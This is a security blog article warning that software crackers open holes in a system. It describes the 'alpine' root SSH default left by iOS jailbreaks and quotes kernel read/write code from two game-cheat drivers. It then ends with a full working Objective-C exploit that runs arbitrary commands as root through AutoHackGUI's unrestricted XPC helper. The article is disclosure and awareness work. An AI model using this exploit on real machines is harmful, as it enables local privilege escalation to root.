This blog article highlights one particular risk that arises from using various tools to crack software: introducing vulnerabilities to their environment. This article provides a general overview, examines past cases, and dives into an actual local privilege escalation vulnerability we uncovered in a macOS software cracker.
It's common for people to download various key generators, patching software, cheat engines, or even pirated apps in the hope of getting access to paid software for free. Not only is this illegal, but it also carries significant risks, which can easily outweigh the benefit of getting “free” software.
One particular issue is that these cracked software or crack tools might do the job and let you use the application, but they also include a malicious component, like an info stealer or ransomware. For example, if such malware steals your credit card information and it is later used by criminals, you have already “paid” more than the cost of the software itself. Or if your files are encrypted and you lose access to all your data, the impact could be even more devastating.
But even if the cracker you downloaded is not malicious and only does what it is intended to do, it can still introduce vulnerabilities into your environment. Here are two past examples.
iOS jailbreaks
One example is iOS jailbreaks. When a jailbreak is installed on an iPhone, the tool typically starts an SSH service with a default password of “alpine” for the root user. Although some tutorials advise changing it, many people, especially less technical ones, don't bother doing so (or couldn’t).
This exposes the phone to the public. If it had a public IP address, anyone in the world could connect to it and access the data stored on it. If it connected to an unsecured Wi-Fi network, anyone on the same network could do the same.
Windows game cheats
Another example involves Windows game cheats. Most cheat software installs a kernel driver to patch processes at runtime or provide direct kernel memory read and write access. Such a driver grants instant kernel-level privileges, allowing an attacker to effectively take full control of the system.
For example, https://github.com/nkga/cheat-driver/ is a driver that grants kernel memory read to anyone. Here is the kernel code implementing the memory copy functionality:
// Performs a memory copy request.
NTSTATUS DriverCopy(IN PDRIVER_COPY_MEMORY copy) {
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS process;
status = PsLookupProcessByProcessId((HANDLE)copy->ProcessId, &process);
if (NT_SUCCESS(status)) {
PEPROCESS sourceProcess, targetProcess;
PVOID sourcePtr, targetPtr;
if (copy->Write == FALSE) {
sourceProcess = process;
targetProcess = PsGetCurrentProcess();
sourcePtr = (PVOID)copy->Target;
targetPtr = (PVOID)copy->Source;
} else {
sourceProcess = PsGetCurrentProcess();
targetProcess = process;
sourcePtr = (PVOID)copy->Source;
targetPtr = (PVOID)copy->Target;
}
SIZE_T bytes;
status = MmCopyVirtualMemory(sourceProcess, sourcePtr, targetProcess, targetPtr, copy->Size, KernelMode, &bytes);
ObDereferenceObject(process);
}
return status;
}
There are even instructions in the project’s README file on how to use this driver to read memory.
https://github.com/nbqofficial/kernel-csgo is a driver that promises to offer specific cheat capability for CS:GO.
It offers kernel memory read and write capabilities to anyone in the system in an interesting way: it doesn't implement an IOCTL handler, like how the previous driver did, but instead it hooks the NtQueryCompositionSurfaceStatistics function.
It accepts an arbitrary target PID + address + size, and users can pass this information via the following structure using NtQueryCompositionSurfaceStatistics.
typedef struct _INFO_STRUCT {
ULONG code;
ULONG process_id;
ULONG client_base;
ULONG address;
ULONG buffer;
ULONG size;
} INFO_STRUCT;
Then the driver will use this to read or write to an arbitrary location.
AutoHackGUI
Most recently, Nick Zolotko from our security team came across the following project on GitHub: https://github.com/marlkiller/AutoHackGUI-Releases
It claims to crack many paid software programs, including IDA Pro, CleanMyMac, and Surge.
Since the tool must run commands as root in order to accomplish its task, it installs a helper tool that can run arbitrary shell commands. Here is a deep dive analysis of this tool.
The helper tool runs as a LaunchDaemon job, runs as root, and is defined in the file /AutoHackGUI.app/Contents/Library/LaunchDaemons/io.github.marlkiller.AutoHackGUIHelper.plist
Its content is as follows:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>io.github.marlkiller.AutoHackGUIHelper</string>
<key>BundleProgram</key>
<string>Contents/Library/LaunchDaemons/io.github.marlkiller.AutoHackGUIHelper</string>
<key>MachServices</key>
<dict>
<key>io.github.marlkiller.AutoHackGUIHelper</key>
<true/>
</dict>
</dict>
</plist>
This property list file defines the Mach service io.github.marlkiller.AutoHackGUIHelper.
This is the name we can use to connect to this daemon and call its functions.
The project is closed source, so we had to do some reversing to find out what it does and whether we can connect to it.
First we used the popular ipsw tool to dump the protocol used by this helper tool.
$ ipsw class-dump io.github.marlkiller.AutoHackGUIHelper
? Detected a universal MachO file, please select an architecture to analyze: Amd64, x86_64
@protocol AutoHackGUIHelperProtocol <NSObject>
@required
/* required instance methods */
-[AutoHackGUIHelperProtocol testConnectionWithReply:];
-[AutoHackGUIHelperProtocol executeCommand:withReply:];
@optional
The executeCommand:withReply: method is very promising.
We had to do some further binary reversing to determine the exact signatures of these methods, but we eventually got it.
@protocol AutoHackGUIHelperProtocol<NSObject>
- (void)testConnectionWithReply:(void (^)(NSString *diagnosticInfo))reply;
- (void)executeCommand:(id)command withReply:(void (^)(BOOL success, NSString *output, NSString *error))reply;
@end
This is required us to call these methods via XPC.
Then we analyzed the listener:shouldAcceptNewConnection: method in the helper, which could impose any restrictions on which process(es) can connect to this daemon. In practice, it imposes no such restrictions. Here is why:
The only configurable restriction is based on code signatures, and the application is ad hoc signed, meaning there is no certificate attached to the binary. If a certificate were present, Apple would quickly revoke the it when they review the software and who signed it.
In short: an attacker—or malware—can connect to and use this service, and since the helper runs with root privileges, it can also run arbitrary commands as root. With this knowledge, writing an exploit is as easy as writing a regular XPC client.
The full exploit code is provided below. While it could technically be considered a zero-day, the risk is limited given that the tool itself is illegitimate software.
#import <Foundation/Foundation.h>
@protocol AutoHackGUIHelperProtocol<NSObject>
- (void)testConnectionWithReply:(void (^)(NSString *diagnosticInfo))reply;
- (void)executeCommand:(id)command withReply:(void (^)(BOOL success, NSString *output, NSString *error))reply;
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Check if command argument is provided
if (argc < 2) {
fprintf(stderr, "Usage: %s <command>\n", argv[0]);
fprintf(stderr, "Example: %s \"touch /tmp/test.txt\"\n", argv[0]);
return 1;
}
// Get the command from arguments
NSString *command = [NSString stringWithUTF8String:argv[1]];
// Create XPC connection
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"io.github.marlkiller.AutoHackGUIHelper"
options:NSXPCConnectionPrivileged];
// Set the remote object interface
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AutoHackGUIHelperProtocol)];
// Set up invalidation handler
connection.invalidationHandler = ^{
NSLog(@"XPC Connection invalidated");
};
// Set up interruption handler
connection.interruptionHandler = ^{
NSLog(@"XPC Connection interrupted");
};
// Resume the connection
[connection resume];
// Get the remote object proxy
id<AutoHackGUIHelperProtocol> helper = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Remote proxy error: %@", error);
exit(1);
}];
// Execute the command
NSLog(@"Executing command: %@", command);
dispatch_semaphore_t commandSemaphore = dispatch_semaphore_create(0);
__block BOOL commandSuccess = NO;
[helper executeCommand:command withReply:^(BOOL success, NSString *output, NSString *error) {
commandSuccess = success;
if (success) {
NSLog(@"Command executed successfully");
if (output && output.length > 0) {
printf("Output:\n%s\n", [output UTF8String]);
}
} else {
NSLog(@"Command execution failed");
}
if (error && error.length > 0) {
fprintf(stderr, "Error:\n%s\n", [error UTF8String]);
}
dispatch_semaphore_signal(commandSemaphore);
}];
// Wait for command to complete (with timeout)
if (dispatch_semaphore_wait(commandSemaphore, dispatch_time(DISPATCH_TIME_NOW, 30 * NSEC_PER_SEC)) != 0) {
NSLog(@"Command execution timed out");
[connection invalidate];
return 1;
}
// Clean up
[connection invalidate];
NSLog(@"Done");
return commandSuccess ? 0 : 1;
}
}
Conclusion
There are multiple risks associated with downloading pirated applications or cracking tools. Beyond the potential for embedded malware, these tools can significantly increase the attack surface by introducing critical vulnerabilities into their own system.